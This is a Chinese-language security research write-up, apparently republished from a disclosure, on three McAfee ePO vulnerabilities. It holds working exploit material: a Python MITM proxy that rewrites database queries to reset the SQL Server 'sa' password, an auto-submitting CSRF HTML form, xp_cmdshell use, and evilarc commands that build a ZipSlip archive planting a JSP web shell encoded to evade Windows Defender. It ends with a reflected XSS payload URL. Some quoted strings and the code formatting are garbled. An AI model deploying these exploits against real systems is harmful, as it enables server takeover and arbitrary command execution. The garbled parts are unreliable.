McAfee ePO 是一款软件,可帮助 IT 管理员统一跨端点、网络、数据和来自 McAfee 和第三方解决方案的合规性解决方案的安全管理。McAfee ePO 提供灵活的自动化管理功能,用于识别、处理和响应安全问题和威胁。
McAfee ePO 的登录页面
我的测试发现了三个漏洞:
该应用程序包含一个区域,管理员可以在其中验证数据库的可用性,该数据库随后可用作主要数据存储。
“配置数据库设置”部分
必须发送以下请求以测试连接:
POST /core/config HTTP/1.1
Host: epo.test:8443
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 279
Cookie: <cookies>
userAction=test&ajaxMode=nouser&orion.user.security.token=gYyieMaq4W1jNkhK&orion.user.security.token=gYyieMaq4W1jNkhK&db.server.name=127.0.0.1&db.instance.name=&db.port=50781&db.database.name=ePO_TEST&db.param.ssl=request&db.user.name=n1&db.user.domain=TEST
该请求不包含任何针对 CSRF 攻击的保护措施。到目前为止,我们有一个漏洞,但它不会影响安全性,因为该请求仅测试连接并且不保存任何流氓设置。
但请注意与数据库的测试连接是如何建立的。如果请求只指定了连接主机和端口,应用程序将使用当前配置(包括用户名、密码和数据库名称)来建立到指定服务器的连接。
为了演示这一点并查看数据库连接请求中包含的内容,我编写了一个简单的 Python 脚本。它将所有传入请求转发到另一个主机(实际的 ePO 数据库)并将请求打印到屏幕上。
通过 MiTM 服务器的数据
事实证明,在我的例子中,易受攻击的服务器通过 NTLMSSP 对数据库进行身份验证,然后执行多个 SQL 查询以从中获取信息。
为了利用该漏洞,我们需要修改发送到数据库的查询。这就是为什么在我们的 MiTM 脚本中,我们将字符串“ ”替换为“ ”。如果成功,测试与数据库的连接将导致为用户“SA”设置密码“P@ssw0rd”。SET
TRANSACTION
ISOLATION
LEVEL
READ
COMMITTEDALTER
LOGIN [sa]
WITH
PASSWORD='P@ssw0rd';;;;
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
IP = "0.0.0.0" # IP and port of MiTM server
PORT = 1436
EPO_IP = "1.1.1.1"
print("[+] Starting MiTM server on port: {}".format(str(PORT)))
server_address = (IP, PORT)
sock.bind(server_address)
sock.listen(1)
server_address2 = (EPO_IP, 50781) # IP and PORT of ePO MSSQL database
sock2.connect(server_address2)
while True:
connection, client_address = sock.accept()
try:
while True:
data = connection.recv(4096)
find = "S\x00E\x00T\x00 \x00T\x00R\x00A\x00N\x00S\x00A\x00C\x00T\x00I\x00O\x00N\x00 \x00I\x00S\x00O\x00L\x00A\x00T\x00I\x00O\x00N\x00 \x00L\x00E\x00V\x00E\x00L\x00 \x00R\x00E\x00A\x00D\x00 \x00C\x00O\x00M\x00M\x00I\x00T\x00T\x00E\x00D"
if find in data:
print("[+] Found string in request")
replace = "A\x00L\x00T\x00E\x00R\x00 \x00L\x00O\x00G\x00I\x00N\x00 \x00[\x00s\x00a\x00]\x00 \x00W\x00I\x00T\x00H\x00 \x00P\x00A\x00S\x00S\x00W\x00O\x00R\x00D\x00=\x00'\x00P\x00@\x00s\x00s\x00w\x000\x00r\x00d\x00'\x00;\x00;\x00;\x00;\x00;"
data = data.replace(find, replace)
sock2.sendall(data)
resp = sock2.recv(4096)
connection.sendall(resp)
finally:
connection.close()
现在要利用整个 CSRF + SSRF + MITM 链,我们只需要创建一个 HTML 页面。
<html>
<body onload="document.getElementById('poc_form').submit()">
<form action="https://epo.test:8443/core/config" method="POST" id="poc_form">
<input type="hidden" name="userAction" value="test" />
<input type="hidden" name="ajaxMode" value="nouser" />
<input type="hidden" name="db.server.name" value="<MITM_host>" />
<input type="hidden" name="db.instance.name" value="" />
<input type="hidden" name="db.port" value="<MITM_port>" />
</form>
</body>
</html>
让我们将漏洞付诸行动。运行 MITM 脚本,在 ePolicy Orchestrator 管理面板中输入凭据,然后打开我们制作的 HTML 页面。如果一切都正确完成,我们可以使用凭据连接到数据库SA:P@ssw0rd
。结果如下:
使用 xp_cmdshell 过程执行 OS 命令
成功连接到数据库后,我们可以运行任意系统命令。
总结起来,攻击包括五个部分:
供应商回应: “McAfee 已经查看了代码库,我们相信这个问题已在 2019 年 11 月 12 日发布的累积更新 (CU) 5 中得到解决。”
我在软件扩展组件 (/core/orionNavigationLogin.do#/core/orionTab.do?sectionId=orion.software&tabId=orion.extensions) 中发现了下一个漏洞,只有经过身份验证的用户才能访问该漏洞。
“软件扩展”部分
此页面提示上传扩展名,该扩展名应该是 ZIP 格式的文件。我不知道应用程序将档案识别为真正的扩展所需的档案结构,因此此时我没有尝试上传任何恶意扩展。但是当我在测试过程中遇到存档上传功能时,我总是会检查 ZipSlip 漏洞。
ZipSlip 漏洞是一种路径遍历,如果打包文件的名称未正确清理,则在解压缩档案时会发生这种情况。攻击者可以使用../
名称中包含“ ”的文件创建档案,从而可以在档案提取期间将任意文件上传到任意目录或覆盖现有文件。
为了检查这种漏洞,我们将使用evilarc生成一个包含文件../test.txt
.
python evilarc.py -d 1 -p '' -o win -f test.zip test.txt
创建恶意 zip 文件
然后将生成的 ZIP 存档作为扩展上传并尝试在文件系统中找到它。
提取文件的位置
我们可以看到测试文件位于文件夹中D:\Program Files\McAfee\Server\extensions\tmp\
。Web 服务器的根文件夹是D:\Program Files\McAfee\Server\webapps\ROOT
,所以现在我们知道生成包含 Web shell (stat.jsp) 的存档所需的相对路径,该存档将通过 ZipSlip 解压缩到服务器的 Web 根文件夹:
python evilarc.py -d 3 -p 'webapps\ROOT\' -o win -f PoC.zip stat.jsp
使用 web shell 创建恶意 zip 文件
上传 JSP shell 时,我们使用 Unicode 对其进行编码,以便 Windows Defender 不会将其删除。
现在只需上传 PoC.zip 作为扩展并检查正在运行的 web shell。
执行“dir”命令
结果是我们可以运行任意操作系统命令。
供应商回应: “我们认为这不是 RCE,因为 ePO 用户界面中的管理员可以为其产品安装扩展。McAfee 目前认为,当 ePO 管理员安装扩展程序时,您描述的场景会按预期工作。”
对于漏洞利用,只需转到地址/PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E
,作为概念证明,您将看到一个包含 document.domain 值的弹出窗口。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。